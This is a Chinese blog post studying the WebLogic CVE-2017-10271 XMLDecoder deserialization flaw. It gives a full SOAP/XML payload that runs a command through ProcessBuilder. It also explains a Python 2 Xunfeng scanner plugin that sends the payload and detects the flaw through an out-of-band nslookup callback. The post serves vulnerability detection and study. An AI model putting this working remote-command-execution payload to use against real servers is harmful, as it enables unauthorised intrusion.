weblogic新漏洞学习cve-2017-10271

一、原理：

　　很明显啦，readobject又出来背锅了，一个XML的反序列化漏洞导致的命令执行。

　　具体原理我看不懂java代码的我也只能学习别人的分析。给出一篇参考文章，写的非常详细：

　　漏洞原理

二、如何构造命令执行的payload-xml：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
    <soapenv:Header> 
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
            <java version="1.8" class="java.beans.XMLDecoder"> 
                <void class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="3"> 
                        <void index="0"> 
                            <string>nslookup</string> #命令名称 
                        </void>  
                        <void index="1"> 
                            <string>%s</string> #巡风的随机字符串，用来后面去查HTTP或者DNS log的flag字符串
                        </void> 
                        <void index="2"> 
                            <string>%s</string> #目标IP
                        </void> 
                    </array>  
                <void method="start"/>
                </void> 
            </java> 
        </work:WorkContext> 
    </soapenv:Header>  
    <soapenv:Body/> 
</soapenv:Envelope>

三、巡风的poc分析：

 讲一下验证流程：

1、首先发包请求目标地址，如果目标地址返回存在banner信息：Web Services在报文中则进行下一步测试。 （首先得有weblogic啊）

2、发请求把XML内容 POST到目标主机去，休息2s后请求巡风的自己的WEB服务器上的http://%s:8088/{随机字符串} 相当于记录了NSLOOKUP的dnslog。如何查到了，返回结果有YES则存在漏洞，否则不存在。

#!/usr/bin/python
# coding:utf-8
'''
巡风及巡风的插件基于python2
主要有两个函数:
get_plugin_info() 返回插件信息
check(ip, port, timeout) 接收IP，端口号及超时参数供巡风主程序调用，有返回值且返回值在判断里为True，即为漏洞存在，返回值即为本次的扫描结果，详情请看接下来的函数实现
'''

import random
import urllib2
import socket
from time import sleep


def get_plugin_info():
    '''get_plugin_info 函数用于返回该插件和插件所检测漏洞的信息'''
    plugin_info = {
        "name": "WebLogic WLS RCE CVE-2017-10271",
        "info": "Oracle WebLogic Server WLS安全组件中的缺陷导致远程命令执行",
        "level": "高危",
        "type": "命令执行",
        "author": ".@sinosig",
        "url": "https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html",
        "keyword": "tag:weblogic",
    }
    return plugin_info


def random_str(len):
    '''返回随机字符串'''
    str1 = ""
    for i in range(len):
        str1 += (random.choice("ABCDEFGH1234567890"))
    return str(str1)


def get_ver_ip(ip):
    '''返回当前服务器ip，当poc所用payload无回显时，可以使用巡风辅助验证的http服务和dns服务'''
    csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    csock.connect((ip, 80))
    (addr, port) = csock.getsockname()
    csock.close()
    return addr


def check(ip, port, timeout):
    '''本次poc的验证的主函数，巡风会调用该函数进行漏洞检测'''
    test_str = random_str(6)
    server_ip = get_ver_ip(ip)
    check_url = ['/wls-wsat/CoordinatorPortType', '/wls-wsat/CoordinatorPortType11']

    heads = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8',
        'SOAPAction': "",
        'Content-Type': 'text/xml;charset=UTF-8',
    }

    # 本次漏洞的payload
    # 本次命令执行漏洞的payload所触发的response没有明显回显和行为提供判断，所以作者使用nslookup发送dns请求到get_ver_ip函数中取到的服务器地址，如果巡风服务器收到带有random_str函数生成的随机字符串的dns请求即可判断为漏洞存在。
    post_str = '''
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
          <soapenv:Header> 
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
              <java version="1.8" class="java.beans.XMLDecoder"> 
                <void class="java.lang.ProcessBuilder"> 
                  <array class="java.lang.String" length="3"> 
                    <void index="0"> 
                      <string>nslookup</string> 
                    </void>  
                    <void index="1"> 
                      <string>%s</string> 
                    </void> 
                    <void index="2"> 
                      <string>%s</string> 
                    </void> 
                  </array>  
                  <void method="start"/>
                </void> 
              </java> 
            </work:WorkContext> 
          </soapenv:Header>  
          <soapenv:Body/> 
        </soapenv:Envelope>
                ''' % (test_str, server_ip)
    for url in check_url:
        target_url = 'http://' + ip + ':' + str(port) + url.strip()
        req = urllib2.Request(url=target_url, headers=heads)
        if 'Web Services' in urllib2.urlopen(req, timeout=timeout).read():
            req = urllib2.Request(url=target_url, data=post_str, headers=heads)
            try:
                urllib2.urlopen(req, timeout=timeout).read()
            except urllib2.URLError:
                pass
            sleep(2)
            # 这里请求 http://{巡风的地址}:8088/{本次生成随机字符串} 如果返回YES，则证明服务器收到该请求，漏洞存在
            check_result = urllib2.urlopen("http://%s:8088/%s" % (server_ip, test_str), timeout=timeout).read()
            if "YES" in check_result:
                return "Exist CVE-2017-10271"
        else:
            pass